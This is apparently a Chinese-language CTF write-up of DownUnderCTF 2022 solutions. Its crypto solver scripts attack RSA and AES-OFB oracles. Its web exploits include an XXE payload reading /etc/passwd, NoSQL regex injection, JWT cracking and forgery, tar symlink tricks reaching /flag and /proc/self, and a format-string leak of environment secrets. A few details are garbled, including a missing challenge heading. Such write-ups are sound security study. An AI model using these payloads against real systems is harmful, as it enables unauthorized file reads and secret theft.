DownUnderCTF 2022 Writeups

這次再次用了 peko 隊伍 solo 參加了今年的 DownUnderCTF 拿到的第六名,原本是衝著 crypto 題目去的不過其他題目也是很有趣。

  排行榜截圖

crypto

baby arx

一個看起來很 z3 friendly 的 cipher,所以直接 z3 就搞定了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from z3 import *


class baby_arx:
def __init__(self, key):
assert len(key) == 64
self.state = list(key)

def b(self):
b1 = self.state[0]
b2 = self.state[1]
b1 = b1 ^ ((b1 << 1) | (b1 & 1))
b2 = b2 ^ (LShR(b2, 5) | (b2 << 3))
b = b1 + b2
self.state = self.state[1:] + [b]
return b

def stream(self, n):
return [self.b() for _ in range(n)]


ct = bytes.fromhex(
"cb57ba706aae5f275d6d8941b7c7706fe261b7c74d3384390b691c3d982941ac4931c6a4394a1a7b7a336bc3662fd0edab3ff8b31b96d112a026f93fff07e61b"
)

key = [BitVec(f"key{i}", 8) for i in range(64)]
sol = Solver()
out = baby_arx(key).stream(64)
for x, y in zip(out, ct):
sol.add(x == y)
for x, y in zip(key, b"DUCTF{"):
sol.add(x == y)
for x in key:
sol.add(And(x >= 20, x <= 127))
assert sol.check() == sat
m = sol.model()
key = [m[k].as_long() for k in key]
print(bytes(key))
# DUCTF{i_d0nt_th1nk_th4ts_h0w_1t_w0rks_actu4lly_92f45fb961ecf420}

oracle for block cipher enthusiasts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3

from os import urandom, path
from Crypto.Cipher import AES


FLAG = open(path.join(path.dirname(__file__), 'flag.txt'), 'r').read().strip()
MESSAGE = f'Decrypt this... {urandom(300).hex()} {FLAG}'


def main():
key = urandom(16)
for _ in range(2):
iv = bytes.fromhex(input('iv: '))
aes = AES.new(key, iv=iv, mode=AES.MODE_OFB)
ct = aes.encrypt(MESSAGE.encode())
print(ct.hex())


if __name__ == '__main__':
main()

可以指定兩次 iv,然後它會使用同樣的 key 使用 AES-OFB 對同樣的 message 加密。查一下 AES-OFB 從它的圖片可以看出只要有已知 plaintext 和 ciphertext 的 block 那就能得到下一個 block 的 iv,所以第一個 iv 任選,而第二個 iv 是 ciphertext 和 Decrypt this... xor 的第一個 block。

這樣的話兩個 ciphertext 就相當於使用兩個 offset 不同的 key stream xor 加密的情況,因為只差一個 block 而我們又知道第一個 block 的 plaintext 所以稍微推一下就能還原整個 plaintext。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *


def xor(a, b):
return bytes([x ^ y for x, y in zip(a, b)])


def blocks(x, n):
return [x[i : i + n] for i in range(0, len(x), n)]


prefix = b"Decrypt this... "[:16]

# io = process(["python", "ofb.py"])
io = remote("2022.ductf.dev", 30009)
io.sendlineafter(b"iv: ", (b"\x00" * 16).hex().encode())
ct1 = bytes.fromhex(io.recvlineS().strip())
io.sendlineafter(b"iv: ", xor(prefix, ct1).hex().encode())
ct2 = bytes.fromhex(io.recvlineS().strip())

enc1 = blocks(ct1, 16)
enc2 = blocks(ct2, 16)
pt = prefix
for x, y in zip(enc2, enc1[1:]):
pt += xor(xor(x, pt[-16:]), y)
print(pt)
# DUCTF{0fb_mu5t_4ctu4lly_st4nd_f0r_0bvi0usly_f4ul7y_bl0ck_c1ph3r_m0d3_0f_0p3ra710n_7b9cb403e8332c980456b17a00abd51049cb8207581c274fcb233f3a43df4a}

cheap ring theory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
p = 55899879511190230528616866117179357211
V = GF(p)^3
R.<x> = PolynomialRing(GF(p))
f = x^3 + 36174005300402816514311230770140802253*x^2 + 35632245244482815363927956306821829684*x + 10704085182912790916669912997954900147
Q = R.quotient(f)

def V_pow(A, n):
return V([a^n for a in list(A)])

n, m = randint(1, p), randint(1, p)
A = Q.random_element()
B = Q.random_element()
C = A^n * B^m

print(' '.join(map(str, list(A))))
print(' '.join(map(str, list(B))))
print(' '.join(map(str, list(C))))

phi_A = V(list(map(int, input().split())))
phi_B = V(list(map(int, input().split())))
phi_C = V(list(map(int, input().split())))

check_phi_C = V_pow(phi_A, n).pairwise_product(V_pow(phi_B, m))

if phi_C == check_phi_C:
print(open('./flag.txt', 'r').read().strip())

hmm... 看起來很有趣,不過很容易能發現只要輸入 0 0 0 或是 1 1 1 就能通過檢查了。

有興趣的可以去讀官方 writeup

rsa interval oracle i

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python3

import signal, time
from os import urandom, path
from Crypto.Util.number import getPrime, bytes_to_long


FLAG = open(path.join(path.dirname(__file__), 'flag.txt'), 'r').read().strip()

N_BITS = 384
TIMEOUT = 10 * 60
MAX_INTERVALS = 384
MAX_QUERIES = 384


def main():
p, q = getPrime(N_BITS//2), getPrime(N_BITS//2)
N = p * q
e = 0x10001
d = pow(e, -1, (p - 1) * (q - 1))

secret = bytes_to_long(urandom(N_BITS//9))
c = pow(secret, e, N)

print(N)
print(c)

intervals = []
queries_used = 0

while True:
print('1. Add interval\n2. Request oracle\n3. Get flag')
choice = int(input('> '))

if choice == 1:
if len(intervals) >= MAX_INTERVALS:
print('No more intervals allowed!')
continue

lower = int(input(f'Lower bound: '))
upper = int(input(f'Upper bound: '))
intervals.insert(0, (lower, upper))

elif choice == 2:
queries = input('queries: ')
queries = [int(c.strip()) for c in queries.split(',')]
queries_used += len(queries)
if queries_used > MAX_QUERIES:
print('No more queries allowed!')
continue

results = []
for c in queries:
m = pow(c, d, N)
for i, (lower, upper) in enumerate(intervals):
in_interval = lower < m < upper
if in_interval:
results.append(i)
break
else:
results.append(-1)

print(','.join(map(str, results)), flush=True)

time.sleep(MAX_INTERVALS * (MAX_QUERIES // N_BITS - 1))
elif choice == 3:
secret_guess = int(input('Enter secret: '))
if secret == secret_guess:
print(FLAG)
else:
print('Incorrect secret :(')
exit()

else:
print('Invalid choice')


if __name__ == '__main__':
signal.alarm(TIMEOUT)
main()

簡單來說是有個可以自選 interval 的 RSA decryption oracle,一個做法是利用能交錯新增 interval 和 query,所以直接二分搜即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *


# context.log_level = 'debug'
# io = process(["python", "rsa-interval-oracle-i.py"])
io = remote("2022.ductf.dev", 30008)
e = 0x10001
n = int(io.recvline())
c = int(io.recvline())


l = -1
r = 2**336
while l + 1 < r:
m = (l + r) // 2
print(l, r)
io.sendafter(b"> ", f"1\n{l}\n{m+1}\n".encode())
io.sendafter(b"> ", f"2\n{c}\n".encode())
res = int(io.recvline().split(b": ")[1])
if res == 0:
r = m
else:
l = m
for x in range(l, r + 1):
if pow(x, e, n) == c:
io.sendafter(b"> ", b"3\n")
io.sendline(str(x).encode())
io.interactive()
break
# DUCTF{d1d_y0u_us3_b1n4ry_s34rch?}

rsa interval oracle ii

diff rsa-interval-oracle-i.py rsa-interval-oracle-ii.py:

1
2
3
4
12c12
< MAX_INTERVALS = 384
---
> MAX_INTERVALS = 1

所以現在我們只有一個 interval,但還是能 query 384 次。如果唯一的 interval 是 ,那麼 oracle 就變成 ,這就讓人想起了 Manger's Attack,然後做個 script kiddie 直接拿現成的 implementation 來改即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
import gmpy2


def pow(a, b, c):
return int(gmpy2.powmod(a, b, c))


def attempt():
# context.log_level = 'debug'
# io = process(["python", "rsa-interval-oracle-ii.py"])
io = remote("2022.ductf.dev", 30011)
e = 0x10001
n = int(io.recvline())
c = int(io.recvline())

k = 48
B = 1 << (8 * k - 8)
io.sendafter(b"> ", f"1\n-1\n{B}\n".encode())

def oracle(c):
io.sendafter(b"> ", f"2\n{c}\n".encode())
return int(io.recvline().split(b": ")[1]) != -1

def Manger_Attack(c):
f1 = 2
while True:
val = (pow(f1, e, n) * c) % n
if oracle(val):
f1 = 2 * f1
else:
break
print("first")
f12 = f1 // 2
f2 = ((n + B) // B) * f12
while True:
val = (pow(f2, e, n) * c) % n
if oracle(val):
break
else:
f2 += f12
print("second")
m_min = (n + f2 - 1) // f2
m_max = (n + B) // f2
# note the ERRATA from https://github.com/GDSSecurity/mangers-oracle
while m_min < m_max:
f_tmp = (2 * B) // (m_max - m_min)
I = (f_tmp * m_min) // n
f3 = (I * n + m_min - 1) // m_min
val = (pow(f3, e, n) * c) % n
if oracle(val):
m_max = (I * n + B) // f3
else:
m_min = (I * n + B + f3 - 1) // f3
return m_min

try:
res = Manger_Attack(c)
print(res)
io.sendafter(b"> ", b"3\n")
io.sendline(str(res).encode())
print(io.recvlineS())
return True
except:
return False


while not attempt():
pass
# DUCTF{Manger_w0uld_b3_pr0ud_0f_y0u}

rsa interval oracle iii

diff rsa-interval-oracle-ii.py rsa-interval-oracle-iii.py:

1
2
3
4
5
6
7
8
11,13c11,13
< TIMEOUT = 10 * 60
< MAX_INTERVALS = 1
< MAX_QUERIES = 384
---
> TIMEOUT = 3 * 60
> MAX_INTERVALS = 4
> MAX_QUERIES = 4700

可以看到它改短了 timeout,然後變成能有 4 intervals 和 4700 queries。不過這題因為出現了 unintended solution 所以後來作者才釋出了 rsa interval oracle iv。不過我是直接用 iv 的 intended solution 解這題的,所以這邊只放個 script 做參考而已,因為我用的解法是一樣的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import process, remote, context
import random
from Crypto.Util.number import sieve_base


N_BITS = 384
TIMEOUT = 3 * 60
MAX_INTERVALS = 4
MAX_QUERIES = 4700
B = 1 << (N_BITS // 9 * 8)


def connect():
# context.log_level = 'debug'
# io = process(["python", "rsa-interval-oracle-iii.py"])
io = remote("2022.ductf.dev", 30010)
e = 0x10001
N = int(io.recvline())
c = int(io.recvline())
ar = []
lb = []
ub = []
intervals = [
(0, 2 ** (N_BITS - 11)),
(0, 2 ** (N_BITS - 10)),
(0, 2 ** (N_BITS - 9)),
(0, 2 ** (N_BITS - 8)),
]
for lb, ub in intervals[::-1]:
io.sendafter(b"> ", f"1\n{lb}\n{ub}\n".encode())

# cand = [random.randint(1, N) for _ in range(4700)]
cand = [power_mod(pr, -1, N) for pr in sieve_base[:4700]]
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"queries: ", ",".join([str(c*power_mod(a,e,N)%N) for a in cand]).encode())
res = list(map(int, io.recvlineS().strip().split(",")))
ar = []
lb = []
ub = []
for a, r in zip(cand, res):
if r != -1:
ar.append(a)
lb.append(intervals[r][0])
ub.append(intervals[r][1])
return io, (ar, lb, ub), (N, e, c)


while True:
io, (ar, lb, ub), (N, e, c) = connect()
print(len(ar))
if len(ar) < 45:
print("again")
io.close()
continue
if len(ar) > 60:
ar = ar[:60]
lb = lb[:60]
ub = ub[:60]
load("solver.sage")
M = matrix(ar).stack(matrix.identity(len(ar)) * N)
M = matrix([1] + len(ar) * [0]).T.augment(M)
_, _, fin = solve(M, [0] + lb, [B] + ub)
secret = fin[0]
print(secret)
if power_mod(secret, e, N) != c:
print("QAQ")
io.close()
continue
io.sendafter(b"> ", b"3\n")
io.sendline(str(secret).encode())
print(io.recvlineS())
break
# DUCTF{rsa_1nt3rv4l_0r4cl3_1s_n0_m4tch_f0r_y0u!}

另外 unintended 作者說是可以設 interval 為 ,然後可以用類似 lsb oracle 的方法解。而 sleep 的部分因為 MAX_QUERIES 很大的原因所以基本上很難 query 和新增 interval 交錯使用,不過作者說是可以把全部的 query 一次 send 出去達成 lsb oracle 的效果。

time locked

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from hashlib import sha256
from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES


ct = bytes.fromhex('85534f055c72f11369903af5a8ac64e2f4cbf27759803041083d0417b5f0aaeac0490f018b117dd4376edd6b1c15ba02')


p = 275344354044844896633734474527970577743
a = [2367876727, 2244612523, 2917227559, 2575298459, 3408491237, 3106829771, 3453352037]
α = [843080574448125383364376261369231843, 1039408776321575817285200998271834893, 712968634774716283037350592580404447, 1166166982652236924913773279075312777, 718531329791776442172712265596025287, 766989326986683912901762053647270531, 985639176179141999067719753673114239]


def f(n):
if n < len(α):
return α[n]

n -= len(α) - 1
t = α[::-1]
while n > 0:
x = sum([a_ * f_ for a_, f_ in zip(a, t)]) % p
t = [x] + t[:-1]
n -= 1

return t[0]


n = 2**(2**1337)
key = sha256(str(f(n)).encode()).digest()
aes = AES.new(key, AES.MODE_ECB)
flag = unpad(aes.decrypt(ct), 16)
print(flag.decode())

目標是要計算某個神秘函數 的第 項得到 AES key,而那個神祕函數 裡面看起來就像 LFSR,所以是個 recurrence relation。首先第一個步驟是看有沒有方法加速,例如 的方法去計算 。因為它和 fibonacci sequence 類似,所以可以用類似的方法用個矩陣,然後用快速冪 的時間內計算出第 項的輸出。

不過這邊的 ,還是大到沒辦法計算,所以要找方法加速。可以注意到這邊是 下的矩陣,它一樣會有個 order 存在,所以就能變成只計算矩陣的 次即可。

order 部分一個方法是直接用 multiplicative_order 去算,不過因為它類似 discrete log 所以會需要較長的時間,幸運的是這題 中最大的 factor 只有 68 bits 所以可行。

另一個方法就是使用 Order of general- and special linear groups over finite fields 的答案即可,它算出來的數字會是上面那個 order 的某個倍數,不過一樣可以拿來用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
p = 275344354044844896633734474527970577743
a = [2367876727, 2244612523, 2917227559, 2575298459, 3408491237, 3106829771, 3453352037]
alpha = [
843080574448125383364376261369231843,
1039408776321575817285200998271834893,
712968634774716283037350592580404447,
1166166982652236924913773279075312777,
718531329791776442172712265596025287,
766989326986683912901762053647270531,
985639176179141999067719753673114239,
]


def f(n):
if n < len(alpha):
return alpha[n]

n -= len(alpha) - 1
t = alpha[::-1]
while n > 0:
x = sum([a_ * f_ for a_, f_ in zip(a, t)]) % p
t = [x] + t[:-1]
n -= 1
return t[0]


K = GF(p)
M = matrix(K, a).stack(matrix.identity(len(a)))[:-1]


def f2(n):
if n < len(alpha):
return alpha[n]
# return (M ^ (n - 6) * vector(alpha[::-1]))[0]
return (M ^ n * vector(alpha[::-1]))[-1]


assert f(87) == f2(87)

# this works because the max prime factor of p-1 is 68 bits:
# od = M.multiplicative_order()
# od = 5747840427578934579418402212446804534742054912959507472646427706581721672984212149543182307880849869521914657360442377375504061940654295742621914326868064

# you can use this too: https://math.stackexchange.com/questions/34271/order-of-general-and-special-linear-groups-over-finite-fields
od = product([p ^ 7 - p ^ i for i in range(7)])
n = power_mod(2, 2**1337, od)

from hashlib import sha256
from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES

ct = bytes.fromhex(
"85534f055c72f11369903af5a8ac64e2f4cbf27759803041083d0417b5f0aaeac0490f018b117dd4376edd6b1c15ba02"
)
key = sha256(str(f2(n)).encode()).digest()
aes = AES.new(key, AES.MODE_ECB)
flag = unpad(aes.decrypt(ct), 16)
print(flag.decode())
# DUCTF{p4y_t0_w1n_91ea0a7b4b688fc8}

rsa interval oracle iv

diff rsa-interval-oracle-iii.py rsa-interval-oracle-iv.py:

1
2
3
4
5
6
7
8
9
10
11
28c28
< intervals = []
---
> intervals = [(0, 2**(N_BITS - 11)), (0, 2**(N_BITS - 10)), (0, 2**(N_BITS - 9)), (0, 2**(N_BITS - 8))]
44a45,48
> if queries_used > 0:
> print('No more queries allowed!')
> continue
>
65d68
< time.sleep(MAX_INTERVALS * (MAX_QUERIES // N_BITS - 1))

一個改動是它把 intervals 鎖死了,不能自己決定。另一個改動是這次只能一次把 4700 queries 全部一次送完而已。

我的方法很簡單,就是先隨便取 4700 個隨機數 ,然後送 給 oracle,它解密出來就會是 的值。如果它正好在 interval 中的話那麼我們就能得到 的一個資訊,此時自然會想很多組 (小於 4700) 這樣的資訊有辦法利用嗎?

這種類型的題目熟悉 CTF 應該很容易就能想到 LLL/CVP 相關的做法,而這題也就正好是要這樣處理。

可以看出上面 所構成的 lattice 中有包含某個向量 ,其上下界方別是 ,其中的 的上界。所以一樣再套用一下 Inequality Solving with CVP (自動調權 CVP) 就能解了。

具體來說根據我的測試 比較能成功,所以需要稍微拚點運氣。因為每個不等式大概給了 8 bits 的資訊,所以一共提供了 bits 的資訊,比 還多所以預期是能解的。

其實 可以改成選小質數 的 inverse ,因為 是個隨機數,可能會有些小質數的 factor 存在,如果正好撞到的話 就會變小,導致它屬於那些 interval 的機率變高,實際測試大概可以多 2~3 個在 interval 內的不等式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import process, remote, context
import random
from Crypto.Util.number import sieve_base


N_BITS = 384
TIMEOUT = 3 * 60
MAX_INTERVALS = 4
MAX_QUERIES = 4700
B = 1 << (N_BITS // 9 * 8)


def connect():
# context.log_level = 'debug'
# io = process(["python", "rsa-interval-oracle-iv.py"])
io = remote("2022.ductf.dev", 30030)
e = 0x10001
N = int(io.recvline())
c = int(io.recvline())
ar = []
lb = []
ub = []

# cand = [random.randint(1, N) for _ in range(4700)]
cand = [power_mod(pr, -1, N) for pr in sieve_base[:4700]]
io.sendlineafter(b"> ", b"2")
io.sendlineafter(
b"queries: ", ",".join([str(c * power_mod(a, e, N) % N) for a in cand]).encode()
)
res = list(map(int, io.recvlineS().strip().split(",")))
intervals = [
(0, 2 ** (N_BITS - 11)),
(0, 2 ** (N_BITS - 10)),
(0, 2 ** (N_BITS - 9)),
(0, 2 ** (N_BITS - 8)),
]
ar = []
lb = []
ub = []
for a, r in zip(cand, res):
if r != -1:
ar.append(a)
lb.append(intervals[r][0])
ub.append(intervals[r][1])
return io, (ar, lb, ub), (N, e, c)


while True:
io, (ar, lb, ub), (N, e, c) = connect()
print(len(ar))
if len(ar) < 50:
print("again")
io.close()
continue
if len(ar) > 60:
ar = ar[:60]
lb = lb[:60]
ub = ub[:60]
load("solver.sage")
M = matrix(ar).stack(matrix.identity(len(ar)) * N)
M = matrix([1] + len(ar) * [0]).T.augment(M)
_, _, fin = solve(M, [0] + lb, [B] + ub)
secret = fin[0]
print(secret)
if power_mod(secret, e, N) != c:
print("QAQ")
io.close()
continue
io.sendafter(b"> ", b"3\n")
io.sendline(str(secret).encode())
print(io.recvlineS())
break
# DUCTF{rsa_1nt3rv4l_0r4cl3_1s_s3ri0usly_n0_m4tch_f0r_y0u...94b2a797eb5e0105}

作者 writeup 則是把它化為一個 Extended HNP 去解。

web

helicoptering

這題要 bypass 兩個 .htaccess:

1
2
3
RewriteEngine On
RewriteCond %{HTTP_HOST} !^localhost$
RewriteRule ".*" "-" [F]
1
2
3
RewriteEngine On
RewriteCond %{THE_REQUEST} flag
RewriteRule ".*" "-" [F]

第一個改 header 繞過,第二個用 url encoding 即可:

1
2
3
4
5
curl 'http://34.87.217.252:30026/one/flag.txt' -H 'Host: localhost'
curl 'http://34.87.217.252:30026/two/fl%61g.txt'


DUCTF{thats_it_next_time_im_using_nginx}

Treasure Hunt

通靈題 ==

觀察一下可以發現它 session 使用的是 jwt,但是用了幾個常見的 jwt 招數去試都沒用,後來不知道能做什麼之後丟 hashcat + rockyou 就爆出來了 ==

剩下就改一下 sub1 (猜測是 admin) 就能解了。

1
2
3
.\hashcat.exe -a 0 -m 16500 .\hash.txt ..\rockyou.txt
secret: onepiece
DUCTF{7h3-0n3-p13c3-15-4ll-7h3-fl465-y0u-637-4l0n6-7h3-w4y}

dyslexxec

可以上傳一個 excel 然後它會做一些處理,裡面有個地方會對 workbook.xml 做一些處理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def findInternalFilepath(filename):
try:
prop = None
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
tree = etree.parse(filename, parser=parser)
root = tree.getroot()
internalNode = root.find(".//{http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac}absPath")
if internalNode != None:
prop = {
"Fieldname":"absPath",
"Attribute":internalNode.attrib["url"],
"Value":internalNode.text
}
return prop

except Exception:
print("couldnt extract absPath")
return None

顯然這邊有個 XXE,而 flag 就在 /etc/passwd 裡面所以直接讀就有了。

1
2
3
4
5
6
7
<!DOCTYPE peko[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<!-- ... -->
<x15ac:absPath url="/Users/Shared/" xmlns:x15ac="http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac" >&xxe;</x15ac:absPath>

DUCTF{cexxelsyd_work_my_dyslexxec_friend}

noteworthy

code 很多,而 db 使用 mongodb,在 /edit 的 route 有個 nosql injection,直接 regex 爆搜即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import httpx
import asyncio
import string

jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI2MzJkYjI1YzQ0NGQ0OGYzNzUwYmM0ODQiLCJpYXQiOjE2NjQwMDQyNTYsImV4cCI6MTY2NDYwOTA1Nn0.eFQkc7bXY95xx5OZayHPUupBV7QEcxYcWbUGDxlT2N0"
chs = string.ascii_lowercase + string.digits + "{_}"


async def check_flag(h, rgx):
r = await h.post(
"/edit",
params={"noteId": 1337, "contents[$regex]": rgx},
json={"contents": {"length": 201}},
)
return "You are not the owner of this note!" == r.json()["error"]


async def main():
async with httpx.AsyncClient(
base_url="https://web-noteworthy-873b7c844f49.2022.ductf.dev/", cookies={"jwt": jwt}, http2=True
) as h:
flag = "DUCTF{"
while not flag.endswith("}"):
res = await asyncio.gather(*[check_flag(h, flag + c) for c in chs])
for c, r in zip(chs, res):
if r:
flag += c
print(flag)
break


asyncio.run(main())
# DUCTF{n0sql1_1s_th3_new_5qli}

Uni of Straya - Part 1

原先這系列題目沒給 source code,不過現在比賽結束後 source code 也有公開,可以在這邊找到

直接登入後能知道它使用的是 RS256 JWT,header 中有個 iss 寫著 /api/auth/pub-key,直接對那個 path 請求可以拿到一個 RSA public key。嘗試把 iss 改成第三方 server 之後會出現 error 說需要符合 /api/auth/pub-key 才行。

另外多玩一下它那個網站後可以看到它 /api/auth/logout?redirect=/logout 有個 open redirect,測試把 iss 改成 /api/auth/pub-key/../logout?redirect=SOME_WHERE_ELSE 也有收到 request 所以代表能讓它使用自己的 public key 去驗證 jwt,也就代表可以任意 forge jwt 了。

生成 key pair:

1
2
ssh-keygen -t rsa -b 4096 -m PEM -f myjwt.key
openssl rsa -in myjwt.key -pubout -outform PEM -out myjwt.pub

至於 jwt 要改什麼的部分也很簡單,因為它 data 只有一個 id,所以一個合理的猜射是 1 代表 admin,改完之後瀏覽到 /admin 會看到它有 /api/auth/isstaff 的 request,其中 response json 中就有 flag 1: DUCTF{iSs_t0_h0vSt0n_c4n_U_h3r3_uS_oR_r_w3_b31nG_r3dIrEcTeD!1!}

這題有個 ruby sinatra 寫的 server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# Flag is in the root as /flag (see attached Dockerfile)

require 'sinatra'
require 'securerandom'

set :environment, :production

def err(s)
erb :index, :locals => {:links => [], :error => s}
end

def ok(l)
erb :index, :locals => {:links => l, :error => nil}
end

get '/' do
return ok []
end

post '/' do
unless params[:tarfile] && (tempfile = params[:tarfile][:tempfile])
return err "File not sent"
end
unless tempfile.size <= 10240
return err "File too big"
end

path = SecureRandom.hex 16
unless Dir.mkdir "uploads/#{path}", 0755
return err "Error creating directory"
end
unless system "tar -xvf #{tempfile.path} -C uploads/#{path}"
return err "Error extracting tar file"
end

links = Dir.glob("uploads/#{path}/**/*", File::FNM_DOTMATCH).select do |f|
# Don't show . or ..
if [".", ".."].include? File.basename f
false
# Don't show symlinks. Additionally delete them, they may be unsafe
elsif File.symlink? f
File.unlink f
false
# Don't show directories (but show files under them)
elsif File.directory? f
false
# Show everything else
else
true
end
end

return ok links
end

get '/uploads/*' do
filepath = "uploads/#{::Rack::Utils.clean_path_info params['splat'].first}"
halt 404 unless File.file? filepath
send_file filepath
end

not_found do
status 404
'404'
end

error 500 do
status 500
'500'
end

上傳 tar 之後它會用 GNU tar 幫你解壓到一個隨機目錄,然後使用 glob 把所有個 symlink 都刪除,之後你可以讀 tar 中的任意檔案,目標是要讀 /flag

GNU tar 本身已經有對 tar slip 做保護了所以本身是很難打的,所以目標就是想辦法利用 symlink 到 /flag 讀 flag 而已。

我的作法是想說只要能讓 glob 找不到 symlink,那麼它就不會被刪除。不過因為有 File::FNM_DOTMATCH 的存在所以 hidden files 也是會被 match,沒辦法這樣繞過。

後來卡了一些時間突然想到 Linux 下的 directory 是可以沒有 r permission 的,代表你沒辦法讀取那個 directory 下的檔案列表,但是如果 x 還在的話只要知道檔名仍然可以讀取底下的檔案。所以如果讓 tar 有個 mode 300 (或 100) 的 directory,底下放個檔名已知的 symlink 就能繞過這個 glob + unlink 了。

剩下的就是想辦法建立那個 tar 而已,因為直接 chmod 300 之後會讓 tar 也讀不了那個 directory,所以我是直接用 python 的 tarfile module 去建立:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import tarfile
import io

with tarfile.open("./out.tar", "w") as tar:
hello = tarfile.TarInfo("hello")
hello.type = tarfile.DIRTYPE
hello.mode = 0o300 # not readable, so glob won't be able to find the symlink
tar.addfile(hello)

world = tarfile.TarInfo("world") # to leak folder name
world.type = tarfile.REGTYPE
world.mode = 0o400
world.size = 5
tar.addfile(world, io.BytesIO(b"world"))

link = tarfile.TarInfo("hello/link")
link.type = tarfile.SYMTYPE
link.mode = 0o400
link.linkname = "/flag"
tar.addfile(link)
# DUCTF{are_symlinks_really_worth_the_trouble_they_cause?????}

後來賽後才知道說也可以用 GNU tar 的 --mode 參數去設,例如 tar czf test.tar --mode=a-r hello 就能達成同樣的目標了。

Uni of Straya - Part 2

/admin 的 admin panel 可以看到它有個功能是可以對某些課程開一些作業 (assessment),其中我們可以決定是要普通的 file 還是 archive file (tar/zip)。開一個允許上傳 archive file 的 assessment 之後我傳了個包含 symlink 到 /etc/passwd 的 tar,然後上傳後讀檔也能成,所以建立一個到 / 的 symlink 就能任意讀檔了。

另外這題題目敘述有說 flag 放在 server 目錄底下的 flag.txt,但是我測試了幾個常見的 path 都沒能成功,最後才想到可以用 /proc/self/cwd 拿到當前 cwd,所以讀 /proc/self/flag.txt 就能拿到這題的 flag: DUCTF{t4r_t4r_tH4nK5_f4r_l1nK1nG_tH3_sAuCe!}

sqli2022

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from flask import Flask, request
import textwrap
import sqlite3
import os
import hashlib

assert len(os.environ['FLAG']) > 32

app = Flask(__name__)

@app.route('/', methods=['POST'])
def root_post():
post = request.form

# Sent params?
if 'username' not in post or 'password' not in post:
return 'Username or password missing from request'

# We are recreating this every request
con = sqlite3.connect(':memory:')
cur = con.cursor()
cur.execute('CREATE TABLE users (username TEXT, password TEXT)')
cur.execute(
'INSERT INTO users VALUES ("admin", ?)',
[hashlib.md5(os.environ['FLAG'].encode()).hexdigest()]
)
output = cur.execute(
'SELECT * FROM users WHERE username = {post[username]!r} AND password = {post[password]!r}'
.format(post=post)
).fetchone()

# Credentials OK?
if output is None:
return 'Wrong credentials'

# Nothing suspicious?
username, password = output
if username != post["username"] or password != post["password"]:
return 'Wrong credentials (are we being hacked?)'

# Everything is all good
return f'Welcome back {post["username"]}! The flag is in FLAG.'.format(post=post)

@app.route('/', methods=['GET'])
def root_get():
return textwrap.dedent('''
<html>
<head></head>
<body>
<form action="/" method="post">
<p>Welcome to admin panel!</p>
<label for="username">Username:</label>
<input type="text" id="username" name="username"><br><br>
<label for="password">Password:</label>
<input type="text" id="password" name="password"><br><br>
<input type="submit" value="Submit">
</form>
</body>
</html>
''').strip()

這題題目名稱就說了 sql injection,但是因為它會 check username != post["username"] or password != post["password"],所以這邊需要 sqli quine 才行。

再來是假設說能通過 login check,要怎麼拿到 environment variables 的 flag 呢? 可以看到 return 那邊混用的 f-string 和 str.format,而 username 是可控的,因此可以用 python format string leak flag 出來。因為 request.formwerkzeug.ImmutableMultiDict,所以 username 設成 {post.copy.__globals__[os].environ[FLAG]} 就能讀到 flag 了。

